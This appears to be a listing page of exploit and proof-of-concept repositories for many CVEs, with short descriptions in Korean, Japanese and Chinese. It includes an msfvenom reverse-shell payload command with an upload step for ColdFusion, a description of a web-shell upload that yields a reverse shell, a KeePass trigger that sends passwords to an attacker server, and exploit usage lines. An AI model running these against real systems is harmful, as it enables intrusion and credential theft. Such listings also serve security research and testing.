CVE-2020-10560

CVE-2020-10560 CVE-2020-10560 OSSN 任意ファイル読み取り 詳細については、https://techanarchy.net/blog/cve-2020-10560-ossn-arbitrary-file-read を参照してください。 開始 docker-compose up --build インストール イメージが実行されたら、インストールページに127.0.0.1または10.2.0.101でアクセスできます。 BURPを使用する場合は、127.0.0.1にインストールしないでください。URLのリダイレクトに問題が発生します。...

CVE-2025-64512

パラメータ、つまり Target と Uploaddir を必ず入力してください。...

CVE-2017-8570

CVE-2017-8570Exp.py 참고:https://github.com/rxwx/CVE-2017-8570 변경 사항: 사용법: python2 CVE-2017-8570Exp.py -s write.sct -e write.exe -o write.rtf + RTF file written to: write.rtf...

CVE-2023-4226

🛠️ Chamilo LMS용 CVE-2023-4226 악용 📋 설명 CVE-2023-4226 악용을 자동화하는 Python 스크립트로, Chamilo LMS = v1.11.24의 무제한 파일 업로드 취약점입니다. PentesterMonkey 기반 PHP 웹 셸을 업로드하고 .htaccess를 구성하여 리버스 셸 을 획득합니다. 자세한 내용: STAR Labs 권고. 🔍 취약점 제품 : Chamilo LMS 심각도 : 높음 CVSS 3.1: 8.8 영향받는 버전 : = v1.11.24 설명 : 학습자 역할을 가진 사용자는...

CVE-2024-22263_Scanner

CVE-2024-22263Scanner 윤리적 사용을 위해서만 사용하십시오. 유해하거나 악의적인 활동은 허용되지 않으며, 모든 책임은 사용자 본인에게 있습니다. CVE-2024-22263: Spring Cloud Dataflow 임의 파일 쓰기 사용법 ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651에 대한 PoC Python3 필요, 3.8에서 테스트 완료 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server 대상 서버 IP 또는 호스트 optional arguments: -h,...

KeePass-CVE-2023-24055

KeePass-CVE-2023-24055 KeePass CVE-2023-24055 재현 KeePass CVE-2023-24055 재현 1, 준비 머신: kali192.168.232.129, windows10192.168.232.128 2, keepass 버전: 2.53 2, 원리: keepass 구성 파일 KeePass.config.xml을 수정하고 트리거 구성 항목을 추가합니다: 평문 비밀번호를 내보내고 공격자 서버에 업로드합니다. 트리거를 추가하기 위한 xml 코드는 다음과 같습니다: 여기서:...

CVE-2024-2432-PaloAlto-GlobalProtect-EoP

CVE-2024-2432 Palo Alto GlobalProtect EoP Windows 시스템에서 GlobalProtect앱 버전 6.1.1-5 및 6.2.0-89가 심볼릭 링크 공격을 통해 상승된 권한으로 임의 파일 삭제에 취약하며, 이로 인해 로컬 머신에서 로컬 권한 상승으로 이어질 수 있음이 발견되었습니다. Windows 비권한 사용자가 GlobalProtect로 VPN 연결을 시도하면 "PanGpHip.exe" 프로세스가 SYSTEM 권한으로 다음 작업을 수행하는 것이 관찰되었습니다: 1...

CVE-2020-3452_Cisco_ASA_PathTraversal

CVE-2020-3452시스코ASA경로탐색 CVE-2020-3452에 대한 개념 증명 스크립트 — Cisco ASA/FTD 경로 탐색 취약점. 안전을 위해 성공적인 다운로드에 대한 하드 한도와 함께 알려진 파일 대상의 자동 추출을 지원합니다. 승인된 보안 테스트 및 연구 목적으로만 사용하세요. 🔐 GitHub 저장소 설명 CVE-2020-3452 에 대한 개념 증명 스크립트 — Cisco ASA/FTD 경로 탐색 취약점. 안전을 위해 성공적인 다운로드에 대한 하드 한도와 함께 알려진 파일 대상의 자동 추출을 지원합니다. 승인된...

CVE-2009-2265

버전: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp 예시 :...

cve-2024-4367-PoC-fixed

cve-2024-4367-PoC-fixed PDF.js는 Mozilla가 유지보수하는 JavaScript 기반 PDF 뷰어입니다. 이 취약점은 공격자가 악성 PDF 파일을 연 후 즉시 임의의 JavaScript 코드를 실행할 수 있게 합니다. 이는 Firefox126가 PDF.js를 사용하여 PDF 파일을 표시하므로 모든 Firefox 사용자에게 영향을 미치지만, 미리보기 기능을 위해 간접적으로 PDF.js를 사용하는 많은 웹 기반 및 Electron 애플리케이션에도 심각한 영향을 미칩니다...

CVE-2024-50508

CVE-2024-50508 Woocommerce Product Design = 1.0.0 - 未认证的任意文件下载 描述 WordPress 的 Woocommerce Product Design 插件在 1.0.0（含）及之前的所有版本中均存在目录遍历漏洞。这使得未认证的攻击者能够读取服务器上任意文件的内容，其中可能包含敏感信息。 详情 类型 : 插件 标识 : woo-product-design 受影响版本 : 1.0.0 CVSS 分数 : 7.5 CVSS 评级 : 高 CVSS 向量 :...

Oracle-WebLogic-CVE-2022-21371

Oracle-WebLogic-CVE-2022-21371 Oracle WebLogic Server 로컬 파일 포함: CVE-2022-21371 영향 받는 버전: Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 및 14.1.1.0.0 설명: Oracle Fusion Middleware의 Oracle WebLogic Server 제품Web Container 구성 요소은 로컬 파일 포함 취약점에 영향을 받습니다. 쉽게 악용될 수 있는 이 취약점은 HTTP 네트워크 접근 권한이 있는 인증되지 않은 공격자가...

CVE-2024-43160

Wordpress BerqWP = 1.7.6 - 認証なし任意ファイルアップロード CVE-2024-43160 WordPress用プラグイン「BerqWP – Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 개념 증명 POC 작성자: CRFSlick, 발견자: AkkuS CutePHP CuteNews 2.1.2에서 문제가 발견되었습니다. 공격자는 프로필 영역의 아바타 업로드 과정을 통해 avatarfile 필드를 사용하여 index.php?mod=main&opt=personal로 서버에 침투할 수 있습니다. /core/modules/dashboard.php에서 $imgsize에 대한 효과적인 제어가 없습니다. 파일의 헤더 내용을 변경하고 제어를 우회하여 코드...

CVE-2025-24071

CVE-2025-24071 이 Python 스크립트는 Windows 탐색기의 CVE-2025-24071 취약점을 시연하기 위해 설계되었습니다. 이 취약점은 공격자가 피해자의 직접적인 상호작용 없이 netNTLMv2 자격 증명을 캡처할 수 있게 합니다. 설명 CVE-2025-24071 취약점은 Windows가 ZIP 아카이브 내부의 .library-ms 파일을 처리하는 방식에 존재합니다. 악성 .library-ms 파일이 포함된 ZIP 파일이 추출되면 Windows는 자동으로 파일에 지정된 SMB 위치에 접근을 시도하며, 이로 ...

CVE-2022-30333-PoC

CVE-2022-30333-POC CVE-2022-30333을 테스트하기 위한 샘플 파일 Sample.rar : Linux에서 테스트하려는 경우. 압축을 풀면 ../../tmp/traversed 에 trav 가 생성됩니다. Sample.rar을 추출하기 전에 ../../tmp/traversed 디렉토리가 존재하는지 확인하십시오. exp.rar : Zimbra 메일 서버에서 테스트하려는 경우. 압축을 풀면 /opt/zimbra/jettybase/webapps/zimbra/public/에 moo.txt 가 생성됩니다. 이 파일은...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla 컴포넌트 인증 없는 파일 업로드 RCE 분할 컨트롤러 업로드 우회 → 직접 쓰기 태스크 → /downloads/shell.php → RCE 개요 CVE-2026-57827 은 Joomla용으로 널리 사용되는 파일 관리 및 다운로드 컴포넌트인 RSFiles!comrsfiles 버전 발견자: Phil Taylor, mySites.guru 2026년 7월 10일 공급업체: RSJoomla rsjoomla.com 컴포넌트: comrsfiles 취약점 메커니즘 근본 원인...

CVE-2021-26085

CVE-2021-26085 Atlassian Confluence Server 7.5.1 사전 인증 임의 파일 읽기 취약점 POC 취약한 엔드포인트: WEB-INF/web.xml WEB-INF/decorators.xml WEB-INF/classes/seraph-config.xml META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml PO...

CVE-2025-2825

CVE-2025-2825/CVE-2025-31161 はじめに このドキュメントでは、CrushFTP サーバーコンポーネントに影響する脆弱性 CVE-2025-2825 の調査結果を紹介します。CrushFTP は、ファイル転送・保存を目的とした商用ソリューションです（FTP、SFTP、HTTP/S、S3 互換インターフェースなど）。 この欠陥は 認証バイパス authentication bypass に分類され、リモートの未認証攻撃者が管理者権限を取得できる可能性があります。悪用に成功すると、crushadmin...